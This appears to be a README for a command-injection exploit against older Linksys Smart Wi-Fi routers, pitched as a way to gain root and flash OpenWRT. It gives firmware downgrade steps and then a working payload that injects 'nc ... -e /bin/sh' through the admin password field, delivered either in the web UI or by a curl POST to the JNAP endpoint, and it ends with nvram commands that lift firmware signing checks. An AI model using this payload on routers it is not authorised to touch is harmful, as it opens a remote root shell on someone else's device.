A exploit for older Linksys Smart Wi-Fi routers that's able to get root shell access and unsigned firmware (like OpenWRT) with just the web admin login.
This exploit was discovered by IOActive and patched in 2017 (It's still possible to downgrade the firmware from the web interface though) but since they never released a PoC I used AI to look through my vulnerable firmware I extracted and it found the exploit. (Only the exploit and RCE payload was found/made with AI but NONE of the writing, images, Markdown, GIFs, or other content here is AI generated)
ALSO I'M NOT RESPONSIBLE FOR ANY DAMAGED ROUTERS, UNAUTHORIZED TAMPERING, OR ANY OTHER DAMAGES CAUSED FROM THIS EXPLOIT. IT IS YOUR RESPONSIBILITY TO NOT BREAK THE LAW OR CAUSE ANY DAMAGES USING THIS EXPLOIT.
Linksys EA9400, downgraded from firmware 1.0.3.181249 to 1.0.2.174688 using downgrade method 2
According to Slowly-Grokking, this exploit worked on their EA9500V1.1 that was downgraded from firmware 1.1.9.210876 to 1.1.6.173418 using downgrade method 1
If you would like to help contribute to this list by testing this exploit on your own router, you can request to add your device here
If you have a vulnerable router model (You can check with the list here), but you have a patched firmware (To check, look at the firmware release notes on the Linksys website for your model and if you have a firmware with IOActive security patches you must downgrade the firmware to do this exploit), you will need to downgrade the firmware first
Thanks to Slowly-Grokking for finding this out
- Find the firmware update download for your router (for example, the EA9400 firmware updates are here).
- Choose the region of the router if you have the option to.
- Right click the "Download" button and copy the link.
- Change the firmware version in the link to the version you want to downgrade to. (for example, you could change
http://downloads.linksys.com/downloads/firmware/FW_EA9400_1.0.3.181249_prod.gpg.imgtohttp://downloads.linksys.com/downloads/firmware/FW_EA9400_1.0.2.174688_prod.gpg.img)
- To flash the old firmware, go to your routers web interface (usually 192.168.1.1)
- Once you're logged in it should look like this:
- Click "Connectivity"
- There will be a "Router Firmware Update" section at the right, click "Choose File":
- Choose the old firmware you downloaded and flash it.
- If you downloaded the correct firmware you should see this:
- Once the router is rebooted, you should see the firmware version change to the older one.
This method might not downgrade far back enough, this is because the router uses 2 OS partitions, when the router updates, it flashes the firmware to the other partition so it can revert to the working firmware in case the update fails, this method switches the OS partition, so you will only go back to the last firmware version you had before updating.
- Go to the routers web interface (usually 192.168.1.1) and login.
- Go to the "Troubleshooting" menu
- Go to the "Diagnostics" section, at this point this is what you should see:
- You should see a button saying "Restore previous firmware" (highlighted in the image above) which will downgrade your firmware to the one you had before once you click it. The image below is what you should see:
- Once you click "Yes", the router will downgrade the firmware and reboot.
- Your PCs local IP (for example:
192.168.1.119) - The routers admin password (for example:
admin) - The router IP (for example:
192.168.1.1)
nc -lvp 4444
-
Log into the web interface
-
Go to the "Connectivity" menu
-
Change the router password to the following (with the correct command):
admin`nc 192.168.1.119 4444 -e /bin/sh` &
If the netcat listener says that the router connected but shows no text output, that means it's working but it only outputs text when you run a command.
Don't forget to add the &, if you don't, the router will still run the command but the web interface will stop working until you reboot.
Encode your admin password with admin: right before it in base64, then add the word "Basic" before the base64, for example if your admin password is admin, you would encode admin:admin into base64, so your JNAP token would be Basic YWRtaW46YWRtaW4=
- Go in the routers web interface (for example:
192.168.1.1). - Right click and open inspect element.
- Go to the "Network" section of inspect element.
- Log into the router.
- Find a request going to
/JNAP. - Click it.
- In the "Headers" section for the request you want to find the
X-JNAP-Authorizationheader (for example it could say:X-JNAP-Authorization: Basic YWRtaW46YWRtaW4=). - If it doesn't have the token in that request look at other JNAP requests until you find it.
- Note the token so you don't forget it.
- Your PCs local IP (for example:
192.168.1.119) - The routers admin password (for example
admin) - The router IP (for example:
192.168.1.1) - The JNAP authorization token (for example:
Basic YWRtaW46YWRtaW4=)
nc -lvp 4444
curl -X POST http://192.168.1.1/JNAP/ -H "Content-Type: application/json" -H "X-JNAP-Action: http://linksys.com/jnap/core/SetAdminPassword" -H "X-JNAP-Authorization: Basic YWRtaW46YWRtaW4=" -d '{"adminPassword": "admin`nc 192.168.1.119 4444 -e /bin/sh` &"}'
In this command, it changes the admin password to a malicious one that runs nc 192.168.1.119 4444 -e /bin/sh using the example JNAP token for authentication.
If the netcat listener shows the router connect but shows no text output, that means it's working but it only outputs text when you run a command.
If your router requires firmware to be signed (like the US model Linksys EA9400/EA9500), but you don't want to use a serial connection, you can run in your routers root shell the following:
nvram set cert_region=EU
nvram commit